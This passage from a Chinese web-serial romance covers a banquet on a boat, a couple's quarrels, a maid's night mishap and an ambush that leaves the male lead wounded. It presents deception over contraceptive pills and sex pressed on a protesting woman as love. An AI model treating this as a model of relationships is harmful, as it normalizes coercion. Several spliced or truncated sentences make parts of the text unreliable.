疾医谨慎道:“禀夫人,避子药皆是虎狼之药,吃了遂害身,轻则不易有孕,重则身弱而亡。敢问夫人……只喝一副,还是长久用着?”问得也战战兢兢。 思及祁清宴,除非他再不碰她,否则药要一直喝。目前看来可能不大,祁泠道:“恐怕要长久喝……” 银盘请府医进来,府医方隔着帕子搭上手把脉,门忽而从外推开,冷风呼啸着灌入。 来人周身携风带雪,目光熠熠,见此情景便知是何情况,好不容易平息下来的心中火气翻涌而起,到底压着些,嗓问低呵出一个滚字。 即将归家颐养天年的府医哪里见过这等场面,猜夫人怕是瞒着夫君的,接下来少不了一场夫妻争执。 他忙着起身,收拾好药箱,脚下步子飞快,几瞬就滚没影了。 祁泠没想到他这么快就会回来,抬头望他,眉毛轻抬,露出一点诧异来。 余光见到旁边垂头的银盘,她让银盘先下去了,怕祸及银盘。银盘害怕祁清宴的,担忧看了祁泠,也跟着府医走了。 而祁泠侧过头,神色冷淡,任由祁清宴面色不好看,反正于此事她绝不会松口一点。 祁清宴站了许久,脱下沾霜雪的氅衣,搭在熏笼上,先去净了手,回来从怀中拿出药瓶,主动开口但声音冷冷:“药寻来了。此后你便吃这个,不许在外面吃杂七杂八的东西。” “避子药?”祁泠问了一句。 他走时怒气冲冲,是去寻药了?仔细想想,总觉甚为怪异。 祁清宴不语,走到她身边,微垂眼帘望她,眉眼矜贵透出些许清傲,面无表情。 他倒出一粒药,指腹捏着,递过去,“你说得对。既然我们不久便散,一个不明不白的孩子于我也是累赘,还是没有的好。” 祁泠只当他想明白了。 也对,哪个世家大族的娘子会嫁给婚前有子女的郎君。以他的身份,确实不该因孩子误了名声。 她抬手,想要自己拿,他却移开手。 祁泠只好微微张口,任由他拿着药,递进她嘴里,随后手指撒气般重揉她的唇瓣。 她偏头躲开,有一丝疑窦他为何态度变得如此快,但嘴重弥漫开来的浓浓苦药味,一时让她无暇考虑。 幸好,药丸咽得快,比一碗浓稠漆黑的汤药好上些。当真是长苦不如短苦。 她吃得干脆利落,落在祁清宴眼中却刺眼得紧,果真是生怕两人再多扯上一丝联系。 其实他本想一气之下走上几日,外面落着雪,风雪迎面打来,周围萧瑟。 不免去想,他走了,她的反应。 又想到,他走了,她约莫着毫不在意,碎雪打在面上,脸凉,心更冷了。 祁清宴此刻用手掌托着她脸颊,语气酸溜溜,问:“我若不回来,你很高兴罢?” 祁泠本便憋了一肚子气,闻言望着他,含着药苦味,不好说话,于是重重点了头。极重的动作,生怕他看不明白。 祁清宴遂更气,气得俯身过去,同她争夺苦涩的药味。祁泠觉得他莫不是有病,用力推了他一把。 推不开。 等他起身时,祁泠伏在榻上,被亲得直咳嗽。待她缓过劲来,端起茶盏,将内里茶水一饮而尽,转而侧头含怒瞪他。 祁清宴却在笑,指腹按在唇边, 将袖中一名册给她,“内里是同祁家有来往的人家,成现银,留作你嫁妆。” “我不要。”祁泠推开他的手,推开他递来的帕子。 拿她当做什么。 祁清宴道:“在此,你我二人便是夫妻。过几日此地都督设宴,推脱不得,你同我一起去。” 祁泠不想去,但是祁清当初你我说好在一处,如今你要反悔不成?不被建业众人知道我也应了,远在临川,你身份无人知晓,你不与 她拗不过他。 两人白日吵过,晚问还是睡在一起,她说不舒服,祁清宴有点良心,只揽着她,勉强相安无事度过两晚。 后日一早,银盘在祁泠面前欲言又止,祁泠看她银盘将她青丝高盘起来,梳一精致妇人发髻,金叶步摇随动。 瞧见祁泠的目光,银盘委屈撇嘴道:“娘子,是郎君让梳这个的。” 祁泠忍了忍,也认了。 马车上,两人没同对方说话。转坐上一艘小画舫,到湖中央。两艘画舫之问支起连接的板子,随着引路的女侍,走上另一艘画舫。 画舫极大,似雕花的船楼,廊檐下挂着宫灯随着湖风摇曳,朱漆栏杆,仆从端着酒水、器物来回走动。 栏杆内里便是一楼大堂,四周碧纱浮动,内里飘散出些许酒香。 女侍弯腰一礼,“郎君夫人直接进去就好。” 碧纱吹拂而起,中央有舞姬轻衣曼舞,佩环作响。乐姬坐在角落,环抱琵琶,唱着吴侬软语的小调。 内里众人依着身份落座,谈笑风生,高贵而散漫。 祁泠格格不入此奢靡地,祁清宴紧牵她的手,一同走进碧纱之中。内里的谈笑声止,纷纷起身,接着响起一片热络的寒暄。 众人见礼过后,看见祁清宴身旁的娘子又不免诧异,听闻建业祁家的二郎并未娶妻,怎会光明正带着人来这,且姿态亲昵? 但都督的夫人余氏极有眼色,率先唤了一声祁夫人,其余人便也跟着喊起来。 祁泠稍俯身,应了礼,也全了礼。 两人落坐于同一案桌,垂落的衣摆相连,祁清宴一直未松手,她的手心被攥得热。 她抽不开手,不想依靠于他,但无可否认,在他身边,她不惧怕任何事。 此宴名义上是为任临川郡守的燕徊粱接风,但大多数人来此,是奔着从建业而来的祁家二郎与谢家郎君。 今日设宴之人是驻守此地的都督,名秦字胜山,掌一片边防,手握兵权,年逾五十。五大二粗的身子坐在主位,旁边是发妻老妻余氏。 他见此,花白掺半的粗眉一抖,心思落空了。 他二十有余才得了一双子女。早年迟迟没有子嗣,妻子生了一对龙凤胎,当真如珠似宝地养着,如今都到了成婚的年纪,不免思虑多些。 往日只是传书信,还不容易等到人来此,秦胜山目光在燕祁谢二人身上细细打量。 原本看中祁清宴,但见素有清名,不近女色的祁清宴带了极其貌美的女子来,又一副爱惨了的不值钱模样。他不忍让女儿受苦,当即放弃了。 谢子青更不必提了,女儿愿意他也不情愿,同一群莺莺燕燕争什么。最后的燕徊梁,即使日后或许贵不可言,可他有慕容氏的正妻,也难办至极。 只好算了,等日后回建业再为女儿觅良婿吧,届时什么样的好人家寻不到? 秦胜山想好后,朗声笑起,与二位外来的郎君叙话,态度一般敬重。 其余人看得清楚,都督在此无异于土皇帝,一时内心思忖着,祁谢两位得都督青眼也便罢了。 仔细看燕徊粱,他父母皆亡,虽被慕容家收养,与赘婿无异,到底毫无身份。从前皆轻看他几分,但见都督态度,都是人精,面上也表了敬仰。 宴酣时,舞姬又换了一波,这回来的舞姬衣着大胆,露出大片雪白的肌肤,亮得晃眼。 细心的人目光变了变,宴中望向祁泠的目光甚多。 祁泠也抬头看去,场中领舞的舞姬同她眉眼二分相似,脸上覆薄纱遮了口鼻,瞧着更是相像。 容貌毫不逊色她,眼尾挑起,随着曲子抬手起舞,一举一动更添柔媚色。 祁清宴也注意到了,握着祁泠的手,不免蹙眉,目光巡了一圈,最后定在谢子青身上。 谢子青不以为意地笑笑,往后仰了仰身子,坐在他旁边的燕徊粱侧头问:“是你……你早就知道?” “就在船上,恰好遇见,顺手点了她来。容貌想来合他眼光。”谢子青散漫道。 燕徊粱皱眉,低声同友人道:“子青,你不该如此。此事若较真,不对的是清宴。二娘子本该在建业当一寻常娘子,被二郎带到此处,她甚为无辜,何错之有?何必弄出令人难堪的场面来。” “难堪又如何?你我皆知,她不被祁家养大,也与此无甚区别。不甘妾室,迫二郎娶她。即受祁家恩,不报反生怨?” 谢子青顿了顿,道:“我只是不想他一错再错,毁了名声。索性就此弃了她,寻一替身,之后回归正轨,在建业娶一贤妻。” 他执迷不悟,想必会惹祁清宴动气。燕徊梁还想劝说,但情绪起伏惹的嗓问发痒,他转头,抵唇轻咳起来。 场中格外静默,乐声之外,渐无其他说话声。一众舞姬动作曼妙,领舞名嫹娘,今日走了大运,原本轮不到她上场,可被一位郎君指了上台。 她自知容貌姣好,以为怎么也能得贵人青眼,不想到最后一舞作罢,都无人搭理。 谢子青抚了抚掌,随之掌声零落,众人不禁都望向祁清宴祁泠两人,观其反应。 难堪吗?是有些。 生母是乐姬之事不可否认,祁泠幼时时常为此难过,回避,觉得此事耻辱,如今竟出乎意料地平静接受了。 生母应当是在乎她的罢。 起码生下她。没有一碗落胎药下去,绝她性命。祁泠如今已经知晓,若想不生孩子,自有百般法子。 冯夫人说过,生母没抛弃她,只是有要事不能养她而已。 祁泠愿意相信,不怨恨她了。 场中人,恍惚问看见另一个她,若冯夫人没收养她,她或许也要以此为生罢,或歌姬,或舞姬。 祁泠开口,赞一声不错。 她声音不大却清晰,响彻堂中。谢子青诧异望她,她竟然没反应。其余人也笑起来,正主都不介意,这也没什么的。 笑声在祁清宴道一声退下响起时彻底消失。舞姬弯着腰,鱼贯而出,此后再无声响。 都督的夫人余氏起身,走到祁泠身旁,缓了尴尬,她圆润,笑起来眼睛眯成一条缝,亲近道:“我年龄大,你唤我一声姨母也受得。咱们不与这些臭男人一同,他们竟说些听不懂的话,咱们去楼上说话。” 祁清宴告诉过祁泠,这是都督的夫人。她告辞后,同余夫人走了。 到了二楼雅问,余夫人拉着祁泠话家常:“我有一双儿女,胡闹的很,儿子随爹黑如碳,女儿随爹不守礼,唉,她要是如你一般乖巧下,我也知足了。” 她言语不离儿女,祁泠见到她女儿秦臻蓁。余夫人也遣人去找儿子,要给祁泠悄悄,但没找到也作罢。 宴许久才散,天色暗沉,回去不便。一行人遂歇在船上。 祁泠从余夫人房中出来,由女侍引路,本要带她去祁清宴的屋中。 路遇谢子青,他笑着问:“方才的舞姬,我将人赎下来,送与二郎了,嫂嫂不会介意吧?”他将后面的嫂嫂二字咬得很重。 祁泠亦微微笑起,不失分寸,道:“燕郎君怕是有些误会,这是他的事,不必来问我。况且,我也担不起这声嫂嫂,郎君还是留着,将这声嫂嫂唤与给旁人听吧。” 她语毕,侧头同女侍道:“替我寻一空房问。” 女侍只有答应的份,暗暗记下两人说话,打算回去学给余夫人听。 祁泠一礼告辞,随着女侍走远。 谢子青望了眼侧旁屋内,不过两步远的距离,什么都能听到吧? 屋内站着嫹娘,听到外面动静,将来龙去脉琢磨了几遍。 她献舞退下时看清那位夫人样貌,明白了为何场中怪异,本以为此行无望。没想到一开始让她献舞的郎君将她赎下来,还送给了那位夫人的郎君。 嫹娘偷偷觑一眼内里的郎君。 将她赎下的郎君是好,但是这位更吸引人一些,与混惯了脂粉堆的郎君们不同,端看若冷清若仙人临世,不染凡尘俗世,风华难掩。 只是,听到外面说话声后,他面色不善,阴沉着一张脸,不知在想什么。 嫹娘猜是夫妻闹了矛盾,可这同她才好。她语气可怜,婉转哀求道:“奴居无定所,身世凄惨,只能沦落风尘,尚留一身清白,来日不知要随船奔波何处……” 她说到这里,哽咽几声,跪在地上。曾练过许多次,恰到好处抬起身子,露出柔软的腰肢。 “奴愿替夫人服侍郎君,不求名分……只求郎君怜惜……” 祁清宴坐在内里,面容沉默在暗处,嫹娘又抬头一眼,实在看不清他神色。她比当地的富绅好上许多。她有此样貌,不甘心同寻常舞姬一般去处,咬咬牙,脱下纱衣,主动上前去。 忽闻一声滚字,内里蕴着愠怒,声音恍若冰冻许久,寒意渗人,令她打个哆嗦。 随即身旁过去一阵衣摆的风。 屋门敞着,他大步离去。 …… 隔了很远,船另一侧,临近余夫人的住所。黑漆漆的房内,银盘声音低低:“娘子,郎君真的收了人怎么办……” “收便收了,”祁泠取下发髻上的金簪,又摘步摇,逐一放在桌上。角落一盏微弱的烛灯,火光舔出浮荡光影,在她面上摇曳,“这与我们无关,银盘。” “娘子不难过吗?”银盘一开始无法接受,后来日渐习惯。 在她看来,二郎君对娘子还凑合。重要的是,此后能一直在祁家,娘子不会因离家而伤心,她也能和姐姐呆在一起。 “这更好,银盘。他纳妾,娶妻都是应当,有了旁人,我们便可不在此地。今日顺利,明日回到岸上,我们就能回建业了。” 祁泠话音方落,门便被大力推开,骇了银盘一跳。 听了全部的祁清宴带着浓重戾气进来,脸色阴沉的可怕,斥了声下去。 银盘用手紧紧捂嘴。她这张火上添油的嘴啊,好像给娘子惹祸了…… 她瞄了眼祁泠,祁泠依旧平静。 几次过后,银盘知道祁清宴再生气也不能将自家娘子如何。想清后,她麻溜沿屋边跑了,没有一丝犹豫。 第56章 第五十六章【VIP】 他的怒气毫不掩饰,眸中晕着化不开如同浓墨的暗色,再无素日里的冷静自持,哪里像什么端方郎君,不冷静的样子像一个偏执的疯子。 到底失态了。 一次次听她说摧人心肝的话。但凡他有一丝真情,闻言都会被反复折磨,反复鞭挞。 知道她是不情愿的。 可时日如水流逝,想着她总不会一直心思不变吧?偏她就是心不甘情不愿,依旧视他如累赘。 当然,祁清宴对她毫无办法,走上前抬手钳住她下颌,一字一句道:“你当真心硬,祁泠。” 祁泠。祁泠。 这两字现下听进耳中都让她心惊胆战,生怕被旁人听到。 祁,是祁,他也姓祁,为何他在说她名字时没有一丝愧疚不安呢?为什么不像她一样无法接受。 祁泠被迫仰着头,早间拭过口脂,艳若芙蓉的唇开合:“我说的是实话而已,你急什么?我们不是说好吗,你身旁另有人或是成亲,我们就分开吗。祁清宴。” 喊人名字,她也会。 祁泠望着他,目光执拗,声声认真,“你看见了吧,只是一张脸,旁人也有。比我容色出众的人亦有许多。还有,身边人都会如谢子青那般,认为是我勾引你,害了你,毁了你,他因此厌我恨我罢?祁家的人只会更恨我,你母亲,祖母,其余许许多多的人都恨我,而我恨你……故而,何必强求。不如早日分开,是吧?” 祁清宴指腹按在她下颌,眼眸微眯,逮着她不放。 她描绘过的眉如画。 眉下那双眸最是好看,恍若清泠而过的山涧溪水,清澈见底能映出所有。 如她性子般。旁人对她如何,她便如何馈之。只要不招惹到她头上,真正令她动气,她都不在意。 整个人干净,眼神干净,气息干净,一颦一笑能让人明显看出她的想法,毫无尖酸恶意与算计的丑陋。 谁也学不来,像皮像骨难像神。 他啊,娶她确实难。 祁家长房嫡子,背负着家族荣兴,娶谁是联姻,也重要。原本不必如此,他有嫡亲的兄长,祁家大郎君,年幼早夭,他未曾见过。 那是家中忌讳,无人提起。 自他出生以后,母亲对他更严苛。但当然,一切都是他的,这点他清清楚楚知道。 只有祁泠,祁泠。 祁清宴缓了缓心神,动怒确为莽夫之举。他所居之位,过往二十年所受教诲让他顷刻平息了情绪。 反倒能静下心,细细看她。 猜她所做为何,所想为何。 祁泠攥着袖口,他的瞳色映出她面容,强忍的倔强还带着若有若无的挑衅。 没错,挑衅,就是挑衅。当看清她自己的情绪时,愣住,脑袋里忽如雪簌簌落下,转瞬一片纯白色。 她在他面前,竟明明白白露出挑衅来。 旋即垂下眼帘,祁泠避开他几乎能勘破人心的视线。 屋内昏沉。 不比祁清宴方才那间,那间才是为贵客准备的,祁泠所在是备用的厢房。颇为狭小,窗棂窄长一扇,月光惨白亦惨淡,伴着葳蕤烛火,也暗,一同静了许久。 他突兀笑起来,声音沉闷又带着些许愉悦。 祁泠拧眉,转过头看祁清宴。 他是气疯了,还是打算彻底放弃她了? “你在故意惹我生气吧,阿泠?” 祁清宴站在她身旁,表面的温和亲善、脾气谦卑的皮囊早已撕了粉碎,也便不在意露出最真实的情绪,他道:“你不愚笨,反而聪明,知道事情如何有利于你。这点我们一样,很像一家人。” “近几日,你反常,总说些极难听的话……没办法摆脱我,所以先主动献身。寻常人惦记新鲜,到手或许不那么在意了,你赌了一把。之后,处处惹我动气,阿泠,你想让我主动开口,不与你一处了。” 祁泠无可否认,只辩道:“我并非违心激怒你,只是将心中所想说出而已,你非要如此说,我亦无话可说。” 这话也不大好听。 但为何从前不说,如今为何敢了呢。她知晓他不会对她如何。 今日重要的不是这个。既剥开她的心,再多说些也无妨。祁清宴道:“好,阿泠说的是真的。我信。” “但为何这般着急?阿泠,再等等总没坏处,何必冒着风险,一直着急与我撇清干系。你似乎在怕,怕什么呢。” 他语气清淡,好不容易恢复往日信手拈来的模样,这几日委实被祁泠气的不行。此刻道:“你怕真的动心,与我长久下去,来回牵扯不清吗?” “你在胡说什么幸好光线昏暗,又有同面色一样的月色遮盖着,她的神情不清晰。 但他指腹熟稔抚上她颤抖不休的唇。如她方才质问时一般的抖啊。 祁清宴频频善诱:“阿泠……阿媅,无事的。你不愿去黄家,也无碍,我为你寻真正的家人。况且,你与我在一处,不是与祁家旁人,在乎他们的看法做什么?” “不行……”祁泠摇头,再摇头。她见过太多下场凄惨的女子,发誓不能被他轻易哄骗。 ,无从知晓。 况且两人曾经同处一屋檐,左右都是不光彩的事,“我没有,你别瞎说。” 她否认,祁清宴也不点破,,一点昏暗的光足以映出内里的大,施展不开,但也足够了。 掌下春色起伏不止,心跳得飞快。 缠绵的吻接着袭来,祁泠觉得祁清宴有病,吵着架就往榻上去是怎么事。不知他不想听她说难听话,干脆堵上算了。 圆了房也有好处,置了气,可以换一处使力。 “我还没好,没好!”祁泠低声推阻他。 虽过去两日,身上痕迹还未消。她心里知道两人不会轻易结束,但还是害怕,他一开始就止不住的疯劲儿。 裙摆探进一只手,祁泠羞得发抖,他细细抚了一遍,哑着声道:“好了。” 又添一句,“别总骗我。” 她已用这由头拖了两日。 祁泠无话可说,以拳砸他的背,骂他,“混蛋,王八蛋……”以她没甚么市井见识的水平,怎么也骂不出林照君的气势。如没断奶的老虎哈人,虚张声势,实则全无威胁,反倒让有些人觉得可爱。 他突然挤起来,疼得她又连名带姓的骂他一声。 形同夫妻,如夫妻亲密,心却离得极其远。一颗心想要近处去,另外一颗心拼了命的逃离。 他埋头苦亲,耐心安抚。 不光要人,也要心。 …… 临川时暖时冷。 前几日落雪,雪花飘落在地上,转瞬就融了。白日能觉出比建业暖和,可到了晚上确是实打实的冷。尤其船在湖上,又湿又冷的风吹得要冷进人骨缝里。 银盘走在船板上,搓了搓冰冷的手。祁泠以为她不明白,其实她已经有点明白祁泠同祁清宴之间的事了。 上次不放心祁泠,她悄悄问了徐执事,毕竟徐执事看起来亲切,亲切如冯夫人身边的嬷嬷。好吧,她有点想家了。 但徐执事听后神情微妙,看了她一阵儿,这对夫妻怪,下面的人也怪。 女主子身边守夜的贴身侍女什么也不知道。能当她女儿的年龄,徐执事也含糊地解释了两句,夫妻间的亲热,总在一起才好,这是不奇怪的。 但银盘还是惦记祁泠。 她们在临川,人只有祁清宴是熟的,其余的人半生不熟,临川则是全生的地盘。 可恶她这张嘴啊,问娘子作甚?平白惹祸。 银盘抬手拍了拍嘴巴,当然没用全力,毕竟她从小到大受过的最重罚是跪一会儿,还有被玉盘拧耳朵,也挺疼的。 她十分心疼自己身子的。 一转弯,她眼前突然一黑,想停下身子又控制不住地向前倒,脑袋撞到一堵黑黢黢的墙,又仰倒回来,踉跄两圈,险些摔地上。 银盘头疼的晕乎乎,右手一直捂着嘴,左手抬起,捂着被撞疼的额头。眼里都疼得闪出泪花儿来,濛濛中看向对面。 今日月光暗,又逆着光,她看不清对面轮廓,只一对白花花的眼白漂浮半空中,闪闪发亮。 “鬼啊啊啊啊啊!”银盘今晚接连被吓,最骇人的还是此刻。她惊叫一声,两眼一翻,晕了过去。 秦葭之伸出手,眼疾手快地将软倒的银盘接住。他自小练武,没有父亲的体格,但也比寻常人健硕些,像接小鸡崽似的轻松将人扶在胳膊上。 等细看清,是位细皮嫩肉的小娘子,顿时如烫手山芋,此刻烫着他胳膊,想将人弄走,又没办法。 “富贵!富贵,怎么办?”他转过去,无措问着身后小厮。 富贵没走上前,就站在几步远,探头看了看,语气蔫巴,“郎君,这八成是被请上船的女眷,不知哪家的,晚间出来被郎君吓到了。” 他说完,缩缩脑袋,几乎想象到陪郎君偷跑下船的下场。没听大人和夫人的话,郎君又惹上麻烦,约莫着两人又要一起被责罚了。 秦葭之不想被责罚啊。 秦家家规森严,一双儿女被管得欲哭无泪,明明可以在周围几州嚣张跋扈,却没有一点机会。月钱提前花光了都要被母亲念叨。 他脑子转了转,“先扶回去,等着她醒吧。富贵……” 等秦葭之转过头去,富贵已然走出好几步远,两手合着垂于身前,做出一副毫无关系的样子。 秦葭之只好一路扶着人走,于他而言轻飘飘的。只是男女有别,等走到他的屋子里,他黝黑的脸颊已然通红,勉强将人丢到床里。 随后拉上床帐,看不见里面的人。 他就大马金刀地坐在榻下,这么傻乎乎一直等着人醒。富贵候在门口,打着盹儿。* 船停泊在湖中,被湿冷的水汽渲染透了。冬日一个寻常的夜里,有人算计得失愤愤不平,有人深陷情字难解,有人呆呆等着,皆被冷清的月色笼罩其中。 第57章 第五十七章【VIP】 平阔的湖面闪动着银白波澜,曦光染亮墨黑天穹,水云之间显出无边天际。 银盘睁眼时,脑袋木木晕沉沉的,周围一片暗色。 她是晕过去了,接着又睡了一会儿L。陌生的环境里,她睡得也还行,以至于醒来时已经忘了晕前的害怕。 抬头扫了扫周围,床榻边的直挺挺的人影吓了她一跳,尖锐的惊叫声从嗓中传出。 似人似鬼的影子忙着转身过来,帐帘掀起,显露出一张憨厚的脸,此刻满是着急神色,“娘子、快别喊了!” 离得近了点,看清是人。 但人圆长的脸,硬朗的五官,看清是个男子,而且蜂腰猿臂。银盘这回不光喊,喊的还是救命。 吓得秦葭之满头大汗啊,他伸出手,顾忌着男女有别,不能捂人家娇滴滴的小娘子的嘴,手又放下了。 但怕的胆颤,万一被父亲母亲知晓,其中再生出什么误会来,那恐怕父亲要狠揍他一顿了,忙道:“娘子,我无意冒犯……” 他说的极慢,声音还小,全然被银盘的声音压过去。 “这位娘子,”富贵看不下去,快步上前解释,“昨夜船上,我家郎君吓到娘子,娘子晕了过去,郎君扶娘子至此,又怕出事,才在此守着。”富贵话干净利索,说得极快。 而且他将郎君扯起来,离得床榻远了些。 这方法果然好使。 银盘闭上嘴,回过神来,人站的远了,她也不怕了。她本来没什么警戒心,呆滞地啊了一声。 富贵又细细解释道:“娘子莫怪,是我们郎君样貌骇人,不小心惊了娘子。娘子住在何处,奴才送娘子回去。” “……我没有地方住,出门是想着找个地住处。”银盘从床榻起来,昨晚的事渐清晰,也不怕了。 她细细看了站在前面的秦葭之,长眉若剑,虎目圆圆,鼻如悬胆,黑是黑了点,但也没有后面人说的那般严重。 秦葭之步子往后挪了挪,略低下头。母亲总说他不好看,没有胞妹貌好,怕自己吓到人。 “还好,你们郎君不吓人啊。”银盘不好意思笑了笑道:“是我昨晚没看清,外面太暗了,只看到他眼睛。” 富贵噗嗤一声,又忙着捂嘴。秦葭之不理会小厮上前,浑身轻松道:“娘子住在此处就好,这里无人。吓到娘子是我之错,想给娘子送些薄礼赔罪,敢问娘子姓氏……?” 头一回有人问她姓氏。 在祁府众人都知晓她姐姐玉盘,知道她是谁家的,姓氏便也不重要了。她下意识道:“我姓李。” 富贵心思着:临川倒是有姓李的郡守,可大人没宴请啊。 银盘也反应过来,对面应当是想知道她的身份。旁人不能在船上四处走动,她遂解释:“我是侍女。” 望见已经浮起鱼肚白的天色,她道:“我需服侍娘子,需走了。不必赔礼,也多谢你。” 她俯了一礼,走出门时带上了门。 侍女? 锦缎的衣裙,发髻间的珍珠小簪,毫无胆怯唯诺,一晚上没回去也不着急,怎么看也不像侍女。 富贵觉得秦府的娘子也不过如此打扮,他道:“郎君,或许是人家不想说身份。” 秦葭之点点脑袋,觉得富贵说得对。 …… 外面天色微明,祁泠躺在架子床内里,艰难抬起手,细声细气:“药……” 她怕一闭眼就又睡过去,再醒来时他不在,忘了吃可怎么办。 正在穿衣的祁清宴一顿,系好腰带,翻翻找找拿出药瓶。 他豪不犹豫,递过来的神情也淡淡,带着一点随便,由着她的意思。 曾被压下的犹疑又浮现在祁泠心头,观他反应,总觉他不是轻易放手之人,疑起那药是真是假。 “我不想吃了。”她忽而道。 “可以。”他收回去的动作极快,生怕她反悔,又俯身过去,轻吻一下她眉眼。声音转而变得柔和,“阿媅,如此也好,我会珍爱你我子嗣。” 转瞬,手上的药被檀口含去,祁泠动作极快,端起起侧旁茶盏,咕咚咕咚咽下两口茶水。随后偏过头去,朝里面躺着,不看他。 明晃晃的试探啊。 枕上青丝逶迤,鼻息间还萦绕几丝着她的香气。祁清宴嘴角勾起一点笑意,拉好帐帘,才出门去。 累得闭眼就睡去。等祁泠再醒时身侧空荡荡,她坐起身。门外有人小声唤着娘子,明显是银盘的声音。 银盘进来,盘,原本两人要一起睡的,半路来了祁清宴。?” 银盘将昨晚的事告诉了祁泠。在银盘口中对面的人憨厚,祁泠只道人还不错。 …… 从议事的密室中走出,祁要赶回建业去,此处耳目甚多,徊粱去同他见一面,只留在这里。” 燕徊梁颔首,他要在此处久留,直到开春建河渠, 倚着栏杆的郎君,祁清宴转头,对他肃道:“子青,对她如对我,下不为例。以后如此恐伤你我情分。”又添道:“昨晚的人,送她走吧。” 谢子青哼哼两声,“不如处理算了,省的那张脸婉转旁人身下,惹你不快。” “不必。”祁清宴蹙眉,“容貌只几分相似,差的多了。再像也不是阿泠。给她良籍,不能让她到建业,此外不必多做。” 谢子青只冷嘲热讽一声:“真是好手段。”将祁清宴拿捏得死死的。在他看来,祁清宴就是见的少。 可祁清宴的目光认真,到底也算了,此后不会再招惹祁泠了。 谢子青回屋后吩咐侍从去办。侍从回来却禀:“人不见了,好像昨晚逃走了。” 一个舞姬,能掀出什么波澜。 他道:“那便不用管了。” …… 起的晚了,祁泠眼下一圈淡淡的青色,整个人萎靡不振,银盘拿着脂粉,替她遮着。 离船前,祁泠去同余夫人道别,她两个孩子都在。余夫人握了握祁泠的手,“你无事可来府上寻我,我为你引见其余夫人。” 秦臻蓁随了余夫人,相貌亲近和蔼,也邀她去。 秦葭之也在,同祁泠见礼,亦见到祁泠身后的银盘。银盘歪头看了看他,随着祁泠一同行了礼。 没骗他,真的是侍女。 是祁家夫人的侍女。 不知为何,有点落寞。 贡承在岸边接应,见到郎君先去禀报一番。祁清宴听后点点头,抬手吩咐,贡承又去同另外两人言说。 回城的队伍拉得极长,祁清宴环着祁泠同坐马上。祁泠浑身别扭,低声同他道:“我想去马车里。” “里面闷。”祁清宴低头吻了她发髻,“陪我透透气,等会我们一同回去。” 祁泠只能尽量离他远一点。 远处层云叠起低垂,一望辽阔无垠,风拂过,不冷,只有沁鼻的清新。只是除了马车的嘎吱声,还有马蹄砸落地面的闷响,祁泠再听不见其他声音,几分沉闷。 前方是连绵起伏的低矮群山,过去便是临川城,侧旁是山林,仍存几分绿意。 行到转弯之处,弓箭破风的撕扯声尖锐,接连不断,钉在地上一片。贡承大喊一声,队伍陷入慌乱。 身下的马儿L嘶鸣一声受了惊,仰起前蹄,逃窜入林,祁泠身后的身躯环她愈紧。 “银盘——”马车跑入林子时,祁泠回头,银盘还在马上。她只见对面涌出一批黑衣裹身的刺客,拿着长剑袭去。 “别回头。”祁清宴揽紧她,拽着缰绳一偏马头,躲过身后飞来的箭。祁泠再看不清后面,只能感受到身后胸膛的热度。 一片兵荒马乱。 遇刺的消息传至停泊到岸边的船上,小兵跪在地上禀报。 秦家人正在用膳,秦胜山神色不变沉默不语。率先急的是秦葭之,他起身:“父亲,儿L子这便去相助!” “坐下!”余夫人斥道。 秦葭之立刻坐回去,只是焦急的目光望着秦胜山。他父亲终于开口道:“你去吧,快马加鞭,应当能追上。” 等儿L子走了,女儿L也跟着出去。余夫人才道:“让他去了,少不得与他们同行,被建业皇族怀疑怎办?” “既做了,早晚是叛军。再者,一直都被怀疑,倒不如由着他去。建业的天也快变了。” …… 不知过去多久,周围是高耸入天的古树,筋疲力尽的马才停下,站在树下,烦躁地甩着尾巴。 身后喘息声发沉,弥漫开来些许腥甜的味道。祁泠回头,见环住她的一侧臂膀被血洇透,绣线上爬满狰狞的血色。 他果断拔下箭,血飞溅而出。 她顿时慌了,“你……附近无人我们怎么办?” 祁清宴克制着呼吸,尽量放稳声线:“我无碍,你也不必担心他们。只是我们落单,往回走不知情形。阿泠,我们再往林中走,看有无可落脚之处。” 祁泠视线无法从他受伤处移开,总忍不住望去。而他一手持着缰绳,又往前走了一刻钟,见石头搭出一处低矮的房屋,周围破败,应是猎户留下住所。 入内,里面没有歇脚的地方,他坐在角落,扯下一条里衣,匆匆两下包扎好,声音虚弱,“只是看着吓人,没事。” 说吧,还抬头朝祁泠笑了下,安慰她。不过他唇色雪白,脸已失了血色,笑难免有些勉强。全然没了寻常的气势,竟有些可怜。 太过敷衍,他只缠了几圈,伤口还露出来,翻出的血肉令人心惊。 祁泠转头,不忍看,内心反复挣扎,片刻后又转了回来,“我来包吧。” 第58章 第五十八章【VIP】 滚烫的血往出流着,祁泠垂着头,一圈圈绕着解开,动作很轻怕碰到伤口,远处看像是环住他胳膊。 她突然想到,仰头问他:“箭有毒吗?” 流出来的血时间久了,颜色变得暗沉,可祁泠哪里知晓这些。祁清宴摇摇头,无力道:“我不知晓。” 她俯身,唇含住伤口,控制着不咽下去,吸出些血来,吐掉,重复几次。 嘴边带着点血,他抬手,从袖中拿出帕子,擦掉。如此就满足,恍若尝到些许甜意,望着她的目光荡漾出一片温柔。 祁泠垂头避开他过分灼热的视线。 只是她想起来,两人进林子时,他还是没受伤的。直到她回头,他急急转了方向,仔细回想起,似乎那时听到他发沉的呼吸。 或许因为救她所伤,她不想欠他人情。 目光不经意落在他手上,她看清那一方帕子。上绣几片竹叶,兼有一只小胖鸟,熟悉到令人惊讶。 “阿泠,外面马上有水囊,你取了回来,然后赶马走,它认路,会出去带人来找我们。”他适时开口,祁泠点着头应了,目光从帕子上移开,起身出去。 水囊挂在马侧边,她拿起来,含了一口水,漱了口。不必她赶,正在伸脖子费力吃树上叶子的马,听到内里响起的笛子声,跑得飞快。 祁泠回去石屋,只觉内里湿冷,他又是受伤,想必更冷,开口道:“我去外面一趟。” 祁清宴拉紧她的手,力气大的她整张脸压在他怀里,“别走,阿泠。” 祁泠听着他心跳,落下的气息,余光瞥见一旁伤口。洇湿缠布,血流得让她难受,没有反抗,反倒虚虚揽住他,拍了拍,如同安慰孩子,“我不走,就在周围寻些干柴。” 祁清宴这才点了点头,乌黑的眸子一眼不眨地盯着她,看着她走出屋子后,伸手压在伤口处,蹙了蹙眉。 血沿着他指尖流下,滴落在地上。他才松手,垂眼望着流出的血,等着她回来。 祁泠也不敢走远,毕竟是荒山的林子,不知有什么东西,虎豹豺狼皆骇人。在石屋附近抱着些许枯枝回来。 祁清宴有打火石,枯枝燃在两人面前,驱了寒意。 祁泠见他伤口又裂开,给他重新包扎好。两人默默坐着,可他说冷,冷到发抖,祁泠只好由他抱着。 